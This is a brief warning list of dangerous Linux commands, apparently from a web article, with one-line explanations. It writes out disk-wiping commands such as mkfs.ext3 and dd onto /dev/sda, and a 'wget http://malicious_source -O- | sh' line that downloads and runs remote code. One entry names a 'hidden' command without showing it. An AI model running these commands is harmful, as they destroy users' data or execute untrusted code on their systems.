–> /dev/sda: It replaces all data on a block, resulting on a total loss of those data.
–mv folder /dev/null: It moves all the contents of a user directory to /dev/null.
–wget http://malicious_source -O- | sh: It downloads and executes a script from a malicious source.
–mkfs.ext3 /dev/sda: It formats sda block and leaves the system into unrecoverable stage.
–> file: It deletes the content of a file.
–^foo^bar: It is used to edit previously executed commands without the need of retyping them, so the changes to be made need to be thoroughly checked.
–dd if=/dev/random of=/dev/sda: It wipes out the sda block and adds junk data, so it leaves the system at inconsistent and unrecoverable stage.
–Hidden the Command: It wipes root partition.
To dig deeper into the consequences of executing these commands, have a look at this article: 10 Most Dangerous Linux Commands